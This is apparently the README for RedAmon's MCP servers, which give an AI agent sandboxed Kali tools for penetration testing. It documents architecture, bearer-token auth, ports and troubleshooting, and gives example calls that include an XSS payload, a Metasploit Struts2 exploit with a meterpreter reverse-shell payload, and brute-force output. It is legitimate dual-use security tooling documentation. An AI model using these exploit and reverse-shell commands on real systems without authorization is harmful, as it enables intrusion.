MCP (Model Context Protocol) servers for agentic penetration testing. These servers expose security tools to AI agents via the MCP protocol, enabling autonomous vulnerability discovery and exploitation.
This document describes the five system MCP servers that ship inside the Kali sandbox image (network_recon, nmap, nuclei, metasploit, playwright) and back the agent's built-in pentest toolset. The image is redamon-kali-sandbox:latest, built from mcp/kali-sandbox/Dockerfile; the recon orchestrator starts one container from it per person on first need and stops it when unused, so every person's servers run in their own sandbox (README.KALI_SANDBOX.md).
The opposite direction — letting an external agent connect INTO RedAmon and drive recon as one user — is a separate feature, MCP Server. See README.MCP.SERVER.md.
Adding your own MCP servers via the UI (Shodan, GitHub, Censys, your own internal MCPs, ...) is a separate user-facing feature called MCP Tool Plugins. Open Global Settings → MCP Tool Plugins tab. Prefilled presets (
MCP_PRESETSinwebapp/src/lib/mcp/presets.ts) are available for one-click setup. Plugins added there auto-appear in every project's Tool Matrix and in the agent's system prompt within ~1 second of save — no rebuild, no migration. See the MCP Tool Plugins wiki page for the full operator manual covering form fields, the live discovery flow, the validation rules, and the storage / security model.
Not the same as Plugins. RedAmon Plugins are optional features an admin installs from the signed plugin catalog on the Plugins page; MCP Tool Plugins are MCP servers connected to the agent from Global Settings.
mcp/
├── docker-compose.yml # Container orchestration
├── requirements.txt # Python dependencies
├── kali-sandbox/
│ └── Dockerfile # Kali Linux with all tools
├── servers/
│ ├── __init__.py
│ ├── run_servers.py # Server launcher
│ ├── network_recon_server.py # HTTP client + port scanning (dynamic)
│ ├── nuclei_server.py # Vuln scanning (dynamic)
│ ├── nmap_server.py # Network mapper (dynamic)
│ ├── metasploit_server.py # Exploitation (structured)
│ └── playwright_server.py # Browser automation (dual-mode)
├── output/ # Scan results
└── nuclei-templates/ # Custom nuclei templates (optional)
HOST (your machine) DOCKER CONTAINER (Kali Linux)
─────────────────── ─────────────────────────────
mcp/servers/ ──VOLUME──> /opt/mcp_servers/
├── network_recon_server.py (hot reload) ├── network_recon_server.py
├── nuclei_server.py ├── nuclei_server.py
├── nmap_server.py ├── nmap_server.py
├── metasploit_server.py ├── metasploit_server.py
└── run_servers.py └── run_servers.py
│
mcp/requirements.txt ──COPY──> /tmp/requirements.txt
(build time) │
▼
pip install → /opt/venv/
│
▼
python3 run_servers.py
│
┌───────────────┼───────────────┐
│ │ │
▼ ▼ ▼
Process 1 Process 2 Process 3 Process 4
│ │ │ │
▼ ▼ ▼ ▼ ▼
:8000 :8002 :8003 :8004 :8005
network_recon nuclei metasploit nmap playwright
(curl + naabu) │ (chromium)
│ │ │ ▼
▼ ▼ ▼ /usr/bin/
/usr/bin/ /root/go/bin/ msfconsole nmap
curl + naabu nuclei
The recon orchestrator sets the transport, host and port variables in every sandbox it starts (CONTAINER_ENV_FIXED in recon_orchestrator/sandbox_contract.py), and the token per sandbox; the MSF_* timings are the servers' own defaults (mcp/servers/run_servers.py):
| Variable | Value | Description |
|---|---|---|
MCP_TRANSPORT |
sse |
Transport mode: stdio (direct) or sse (network) |
MCP_HOST |
0.0.0.0 |
Bind address inside the container, so the agent reaches the servers over the person's sandbox network. A sandbox publishes none of these ports on the host — see the security note below. |
MCP_AUTH_TOKEN |
(random, per sandbox) | Bearer token required on every MCP SSE request: 32 random bytes the orchestrator draws for each sandbox it starts, handed to the agent through the webapp gateway together with the sandbox's address. Empty/unset ⇒ servers fail closed (reject with 401/1008); a wrapper-build error never falls back to unauthenticated serving. |
NETWORK_RECON_PORT |
8000 |
HTTP client + port scanner server |
NUCLEI_PORT |
8002 |
Vulnerability scanner server |
METASPLOIT_PORT |
8003 |
Exploitation framework server |
NMAP_PORT |
8004 |
Network mapper server |
PLAYWRIGHT_PORT |
8005 |
Browser automation server |
MSF_PROGRESS_PORT |
8013 |
Metasploit progress streaming endpoint |
MSF_RUN_TIMEOUT |
1800 |
Total timeout for run commands (30 min) |
MSF_RUN_QUIET_PERIOD |
120 |
Quiet period for run commands (2 min) |
MSF_EXPLOIT_TIMEOUT |
600 |
Total timeout for exploit commands (10 min) |
MSF_EXPLOIT_QUIET_PERIOD |
120 |
Quiet period for exploit commands (2 min) |
MSF_DEFAULT_TIMEOUT |
120 |
Default timeout for other commands (2 min) |
MSF_DEFAULT_QUIET_PERIOD |
3 |
Default quiet period (3 sec) |
AI Agent (Claude/LangGraph), one client per sandbox
│
│ MCP Protocol (JSON-RPC over SSE), on the person's sandbox network,
│ with that sandbox's own bearer token
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ ONE PERSON'S KALI SANDBOX (redamon-kali-<key>-<instance>) │
│ │
│ ┌──────────────┐ ┌────────────┐ ┌──────────┐ ┌──────────────┐ ┌────────────┐ │
│ │network_recon │ │nuclei_server│ │nmap_server│ │ msf_server │ │ playwright │ │
│ │ :8000 │ │ :8002 │ │ :8004 │ │ :8003 (MCP) │ │ :8005 │ │
│ │(curl + naabu)│ └──────┬─────┘ └────┬─────┘ │ :8013 (prog.)│ │ (chromium) │ │
│ └──────┬───────┘ │ │ └──────┬───────┘ └─────┬──────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ subprocess.run() subprocess.run() subprocess.run() PersistentMsf │
│ (curl / naabu) (singleton) │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ /usr/bin/ /root/go/bin/ /usr/bin/ msfconsole │
│ curl + naabu nuclei nmap │
│ │ │ │ │ │
└───────────┼────────────────────┼────────────────┼────────────────┼────────────┘
│ │ │ │
▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ TARGET NETWORK │
│ 10.0.0.0/24 │
└─────────────────────────────────────────────────────────────┘
| Server | Approach | Tools | Rationale |
|---|---|---|---|
| network_recon | Dynamic CLI | execute_curl(args), execute_naabu(args) |
Simple CLIs, LLM knows flags |
| nuclei | Dynamic CLI | execute_nuclei(args) |
Many templates/options, custom templates auto-discovered at startup |
| nmap | Dynamic CLI | execute_nmap(args) |
Countless flags, LLM expertise |
| metasploit | Structured | metasploit_console(command), msf_restart() |
Stateful, sessions, complex workflows |
| playwright | Dual-mode | execute_playwright(url/script) |
Content extraction or custom browser scripting |
Dynamic CLI: Pass raw command-line arguments. Maximum flexibility, trusts LLM knowledge.
Structured Tools: Explicit parameters for each function. Better for stateful operations.
In RedAmon nothing here is needed: the recon orchestrator starts each person's sandbox from the image. The steps below use the standalone mcp/docker-compose.yml, which runs one container from the same Dockerfile for working on the servers alone: redamon-kali-standalone (never redamon-kali, the name redamon.sh removes), every port published on 127.0.0.1 only, ./servers mounted read-only (an edit on the host is what the servers read), an output folder of its own under mcp/output (never a person's sandbox output folder), and NET_ADMIN/NET_RAW without SYS_PTRACE. The servers refuse every call without a bearer, so export MCP_AUTH_TOKEN in the shell first; the file passes it through.
cd mcp
export MCP_AUTH_TOKEN="$(openssl rand -hex 32)" # any secret of your choice
docker-compose up -d --builddocker-compose up -d# Check container status
docker-compose ps
# View logs
docker-compose logs -f kali-sandbox
# Test a server (SSE servers require the bearer token; without it you get 401)
curl -H "Authorization: Bearer $MCP_AUTH_TOKEN" http://127.0.0.1:8000/sse
# The servers' unit tests (mcp/tests/) run in the Docker unit gate:
./redamon.sh test unitIn RedAmon a sandbox publishes no MCP port, and every request needs its token. The agent connects to a person's servers over that person's sandbox network (
http://redamon-kali-<key>-<instance>:PORT/sse, a name that resolves only there) with that sandbox's token, which it receives from the orchestrator through the webapp. ThelocalhostURLs below belong to the standalone compose file, for local debugging only; to look inside a running sandbox instead, find it withdocker ps --filter label=redamon.sandbox=1and usedocker exec. See the Security Notice.
With the standalone compose file, the MCP servers are available on the host (loopback only, with the MCP_AUTH_TOKEN you exported) at:
- network_recon:
http://127.0.0.1:8000/sse(HTTP requests + port scanning) - nuclei:
http://127.0.0.1:8002/sse(vulnerability scanning) - metasploit:
http://127.0.0.1:8003/sse(exploitation) - nmap:
http://127.0.0.1:8004/sse(service detection, OS fingerprinting, NSE scripts) - playwright:
http://127.0.0.1:8005/sse(browser automation, JS-rendered content) - metasploit progress:
http://127.0.0.1:8013/progress(live progress; the same bearer, checked on every request)
Combined HTTP client and port scanner in a single server.
| Tool | Description |
|---|---|
execute_curl(args) |
Run curl with any CLI arguments (60s timeout) |
execute_naabu(args) |
Run naabu with any CLI arguments (300s timeout) |
execute_wpscan(args) |
Run WPScan WordPress vulnerability scanner with any CLI arguments (600s timeout) |
cve_intel(args, api_key="") |
Run ProjectDiscovery vulnx for structured CVE intelligence (NVD + KEV + EPSS + PoC + Nuclei templates). Subcommands: id, search, filters, analyze, healthcheck. The optional api_key is silently injected by the executor from per-user Global Settings; LLM never sees it (60s timeout) |
Curl Examples:
execute_curl("-s -i http://10.0.0.5/")
execute_curl("-s -X POST -d 'user=admin' http://10.0.0.5/login")
execute_curl("-s -k https://10.0.0.5/")
execute_curl("-s -i -u admin:password http://10.0.0.5/admin")Naabu Examples:
execute_naabu("-host 10.0.0.5 -p 1-1000 -json")
execute_naabu("-host 10.0.0.5 -top-ports 100 -nmap-cli 'nmap -sV'")
execute_naabu("-host 10.0.0.5 -p 21,22,80,443,3306,8080 -json")WPScan Examples:
execute_wpscan("--url http://10.0.0.5 --format json --no-banner")
execute_wpscan("--url http://10.0.0.5 --enumerate p,t --format json --no-banner")
execute_wpscan("--url http://10.0.0.5 --enumerate vp,vt --format json --no-banner")
execute_wpscan("--url http://10.0.0.5 --api-token YOUR_TOKEN --format json --no-banner")| Tool | Description |
|---|---|
execute_nuclei(args) |
Run nuclei with any CLI arguments (600s timeout). Custom templates at /opt/nuclei-templates/ are auto-discovered and listed in the tool description at startup. |
Examples:
execute_nuclei("-u http://10.0.0.5 -severity critical,high -jsonl")
execute_nuclei("-u http://10.0.0.5 -id CVE-2021-41773 -jsonl")
execute_nuclei("-u http://10.0.0.5 -tags xss,sqli -jsonl")
# Custom templates (paths listed in tool description)
execute_nuclei("-u http://10.0.0.5 -t /opt/nuclei-templates/http/misconfiguration/springboot/ -jsonl")Custom Templates:
Uploaded templates live in mcp/nuclei-templates/, which no sandbox mounts. At each start of a person's sandbox the recon orchestrator copies into it only the templates that person may use, their own uploads and the instance's (never another member's; an admin acting as a member gets the member's), and mounts that copy read-only at /opt/nuclei-templates/ (left out when it is empty). At startup, the nuclei server scans this directory and dynamically appends all available template paths (with id, severity, name) to the execute_nuclei tool description, so the agent automatically knows what custom templates are available.
Templates can be uploaded, viewed, and deleted from the webapp UI (Project Settings → Nuclei → Template Options) via the /api/nuclei-templates REST API. A sandbox gets its copy, and its tool description lists those templates, when it starts, so the agent learns of a new upload at that sandbox's next start (it stops after 20 idle minutes). See README.KALI_SANDBOX.md section 5. The public nuclei templates live in the read-only volume redamon-kali-nuclei-templates (/root/nuclei-templates), refreshed daily by the orchestrator.
| Tool | Description |
|---|---|
execute_nmap(args) |
Run nmap with any CLI arguments (600s timeout) |
Examples:
execute_nmap("-sV 10.0.0.5 -p 80,443")
execute_nmap("-A 10.0.0.5 -p 22,80")
execute_nmap("-sV --script vuln 10.0.0.5")
execute_nmap("-O 10.0.0.5")
execute_nmap("--script http-enum 10.0.0.5 -p 80")
execute_nmap("-sU 10.0.0.5 --top-ports 20")Browser automation with headless Chromium. Two operational modes for interacting with JavaScript-rendered pages.
| Tool | Description |
|---|---|
execute_playwright(url, selector, format) |
Content mode -- navigate to URL, extract rendered text or HTML (45s timeout) |
execute_playwright(script) |
Script mode -- run multi-step Playwright Python code with pre-initialized browser, context, page (60s timeout) |
Content Mode Examples:
# Get all visible text from a page
execute_playwright(url="http://10.0.0.5:3000")
# Get HTML of a login form
execute_playwright(url="http://10.0.0.5/login", selector="form", format="html")
# Extract specific element text
execute_playwright(url="http://10.0.0.5/dashboard", selector=".user-info", format="text")Script Mode Examples:
# Login and capture authenticated page
execute_playwright(script="""
page.goto('http://10.0.0.5/login')
page.fill('#username', 'admin')
page.fill('#password', 'pass')
page.click('button[type=submit]')
page.wait_for_load_state('networkidle')
print(page.inner_text('body')[:3000])
""")
# Test XSS in search field
execute_playwright(script="""
page.goto('http://10.0.0.5/search')
page.fill('input[name=q]', '<script>alert(1)</script>')
page.click('button[type=submit]')
page.wait_for_load_state('networkidle')
print(page.content()[:5000])
""")Key details:
- Runs headless Chromium with Chrome 120 user-agent
- Pre-initialized
browser,context,pagein script mode -- useprint()for output - Output capped at 15,000 characters (truncated with notice)
- Marked as a dangerous tool -- requires manual confirmation before execution
- Stealth mode: single-URL only, no crawling/bulk scraping, max 2 form submissions per target
| Tool | Description |
|---|---|
metasploit_console(command) |
Execute any msfconsole command (stateful) |
msf_restart() |
Restart msfconsole for a clean state (internal) |
The metasploit_console tool maintains a single persistent msfconsole process — module configurations, sessions, and variables persist across calls. Context-aware timeouts automatically adjust based on command type (run, exploit, or other).
Each sandbox has one reverse-shell port, MSF_REVERSE_PORT: its port from the operator's KALI_SANDBOX_PORT_POOL, published on the host at the same number, or 4444 when it has none (then only the person's own tunnel reaches it). Every new msfconsole (a start, a restart, the reset for the next project) runs setg LPORT <port> when the port is not 4444, so a module's LPORT defaults to the one port targets reach; a module's own set LPORT still wins, as a tunnel's handler needs. All of the person's chats and projects share that port and the one console, and only one handler can listen on it: when a handler cannot bind, the tool's output ends with a [REDAMON] note naming the Metasploit job (jobs -k <id>) or the other process that holds the port, or saying that the address is not one of the sandbox's. A session is listed under the chat whose command started the handler that caught it.
When a new chat session starts, the agentic orchestrator automatically calls msf_restart() on the first metasploit_console use. This ensures:
- All previous sessions are cleared
- Module configurations are reset
- A fresh msfconsole instance is started
This happens transparently - the LLM agent doesn't need to call msf_restart() directly.
Examples:
metasploit_console("search CVE-2017-5638")
metasploit_console("use exploit/multi/http/struts2_content_type_ognl")
metasploit_console("set RHOSTS 10.0.0.5; set RPORT 8080; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.10; exploit") # LPORT: the sandbox's reverse port
metasploit_console("sessions -l")
metasploit_console("sessions -i 1")Long-running operations (like Hydra brute force attacks or Metasploit exploits) can take several minutes. To provide real-time feedback, the MCP container exposes a separate HTTP progress endpoint.
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────────────┐
│ Frontend │◄────│ Agentic │ │ MCP Container │
│ (WebSocket) │ │ (orchestrator) │ │ │
└─────────────────┘ └──────────────────┘ │ ┌─────────────────────┐ │
│ │ │ │ FastMCP (port 8003) │ │
│ TOOL_OUTPUT_CHUNK │ MCP tool call │ │ metasploit_console │ │
│◄──────────────────────│───────────────►│ └─────────────────────┘ │
│ │ │ ▲ │
│ │ HTTP GET │ │ shared │
│ │ /progress │ │ singleton │
│ │───────────────►│ ┌────────┴────────────┐ │
│ │◄───────────────│ │ Progress HTTP │ │
│ │ JSON response │ │ (port 8013) │ │
│ │ │ └─────────────────────┘ │
│ │ └─────────────────────────────┘
- MCP Limitation: MCP tools cannot stream responses—they must return complete results
- Parallel HTTP Endpoint: A lightweight HTTP server runs on port 8013 alongside FastMCP
- Shared State: Both servers access the same
PersistentMsfConsolesingleton - Polling: The agentic orchestrator polls
/progressevery 5 seconds during execution - WebSocket Forwarding: Progress updates are forwarded to the frontend via
TOOL_OUTPUT_CHUNKmessages
URL: http://localhost:8013/progress with the standalone compose file (in RedAmon, the agent reads it on the person's sandbox network); every request needs Authorization: Bearer <MCP_AUTH_TOKEN>.
Response:
{
"active": true,
"command": "run",
"elapsed_seconds": 45.3,
"line_count": 127,
"output": "[*] 10.0.0.5:22 - Attempting login...\n[*] 10.0.0.5:22 - Trying username: admin..."
}| Field | Type | Description |
|---|---|---|
active |
boolean | Whether a command is currently executing |
command |
string | First 100 chars of the current command |
elapsed_seconds |
float | Seconds since command started |
line_count |
int | Total lines of output so far |
output |
string | Last 100 lines of output |
# Start a long-running command via MCP, then in another terminal:
curl -H "Authorization: Bearer $MCP_AUTH_TOKEN" http://localhost:8013/progress | jq .
# Watch progress live:
watch -n 2 'curl -s -H "Authorization: Bearer $MCP_AUTH_TOKEN" http://localhost:8013/progress | jq .'Metasploit uses quiet-period detection to determine when a command finishes. When no output is received for quiet_period seconds, the command is considered complete.
| Command Type | Timeout | Quiet Period | Use Case |
|---|---|---|---|
run |
30 min | 2 min | Metasploit run commands |
exploit |
10 min | 2 min | CVE exploits (staged payloads) |
| Other | 3 min | 5 sec | Search, info, sessions, etc. |
These values can be tuned via environment variables (see Environment Variables section).
cd mcp/servers
python run_servers.py --server network_recon --stdiocd mcp/servers
pip install -r ../requirements.txt
python run_servers.pyAll configuration is hardcoded in docker-compose.yml:
environment:
- MCP_TRANSPORT=sse
- MCP_HOST=0.0.0.0
- NETWORK_RECON_PORT=8000
- NUCLEI_PORT=8002
- METASPLOIT_PORT=8003
- NMAP_PORT=8004
- PLAYWRIGHT_PORT=8005
- MSF_PROGRESS_PORT=8013
ports:
- "8000:8000" # network_recon (curl + naabu)
- "8002:8002" # nuclei
- "8003:8003" # metasploit
- "8004:8004" # nmap
- "8005:8005" # playwright (browser automation)
- "8013:8013" # metasploit progress endpointTo change ports or settings, edit docker-compose.yml directly.
Note: If you change port mappings, you must recreate the container (not just restart):
docker-compose down && docker-compose up -dThese tools are designed for authorized penetration testing only. Only use against systems you have explicit permission to test. The containers run with elevated privileges (NET_ADMIN, NET_RAW) required for network scanning.
The MCP servers grant powerful capabilities (including kali_shell command
execution as root inside the sandbox), so their exposure is locked down by
default:
- Nothing published, one network per person. A person's sandbox publishes
no MCP server (
8000/8002/8003/8004/8005), progress stream (8013/8014), tunnel manager (8015), terminal (8016) or ngrok API (4040). It sits on its own network (redamon-sbx-<key>, a/28of10.214.0.0/16), where the only other members are the agent and the capture proxy, so no functionality depends on host reachability. A reverse shell reaches the sandbox only through the person's tunnel, which delivers to port4444inside it, or, when an operator setsKALI_SANDBOX_PORT_POOL, through the pool port the orchestrator gives that sandbox (MSF_REVERSE_PORT, the same number inside; bound on127.0.0.1unless the variable names another address). A stopped sandbox's pool port stays its person's forKALI_SANDBOX_PORT_HOLD_HOURS(24 by default), so a late callback never reaches another person's sandbox meanwhile. - Bearer-token auth. Every MCP SSE request must carry
Authorization: Bearer <token>, the sandbox's own randomMCP_AUTH_TOKEN(the tunnel manager checks a second, separate one). The agent receives both with the sandbox's address and sends them automatically. If the token is unset, the servers fail closed and reject every request (a token-less request gets 401/1008), and a wrapper-build error never degrades to serving unauthenticated.
This closes the unauthenticated-RCE surface tracked as STRIDE S10 / E1 / I9 in the maintainers' threat model; the public control catalog is README.SECURITY_POSTURE.md.
In RedAmon, run the commands below in the person's sandbox: find it with
docker ps --filter label=redamon.sandbox=1 (its redamon.sandbox.user label
names the person) and replace docker-compose exec kali-sandbox with
docker exec <container>. With the standalone compose file they work as written.
The first Metasploit call in a freshly started sandbox waits about 15-18 s while
msfconsole loads; later calls in the same sandbox reuse the console.
# Check Metasploit status
docker-compose exec kali-sandbox msfdb statusA sandbox reads the public templates from the read-only volume
redamon-kali-nuclei-templates, which the recon orchestrator fills on first need
and refreshes when it starts (if the volume is a day old) and then daily; a failed
refresh is retried after an hour. A sandbox cannot update them itself
(nuclei -update-templates there changes nothing). With the standalone compose
file, force an update:
docker-compose exec kali-sandbox nuclei -update-templatesEnsure container has required capabilities (NET_ADMIN, NET_RAW):
docker-compose exec kali-sandbox capsh --printA sandbox publishes no progress port: the agent reads it on the sandbox's own
network with the sandbox's token. With the standalone compose file, if
curl -H "Authorization: Bearer $MCP_AUTH_TOKEN" http://localhost:8013/progress
returns "Connection refused" (a missing or wrong bearer is a 401, not a refusal):
-
Check port mapping: Port changes require container recreation, not just restart:
docker-compose down && docker-compose up -d -
Verify progress server is running:
docker-compose logs kali-sandbox | grep "Progress server"
You should see:
Started metasploit progress server on port 8013 -
Check if port is listening inside container:
docker-compose exec kali-sandbox netstat -tlnp | grep 8013
Note: Brute force now uses THC Hydra (execute_hydra) which is stateless and has a 30-minute hard timeout. The troubleshooting below applies to legacy Metasploit brute force. If Hydra times out, reduce wordlist size or thread count.
If legacy Metasploit SSH brute force runs forever without returning:
- Check if output contains only prompt/cursor noise (filtered as non-meaningful)
- Verify
MSF_RUN_QUIET_PERIODis appropriate for your wordlist size - Check progress endpoint to see if output is still being generated:
watch -n 5 'curl -s -H "Authorization: Bearer $MCP_AUTH_TOKEN" http://localhost:8013/progress | jq .line_count'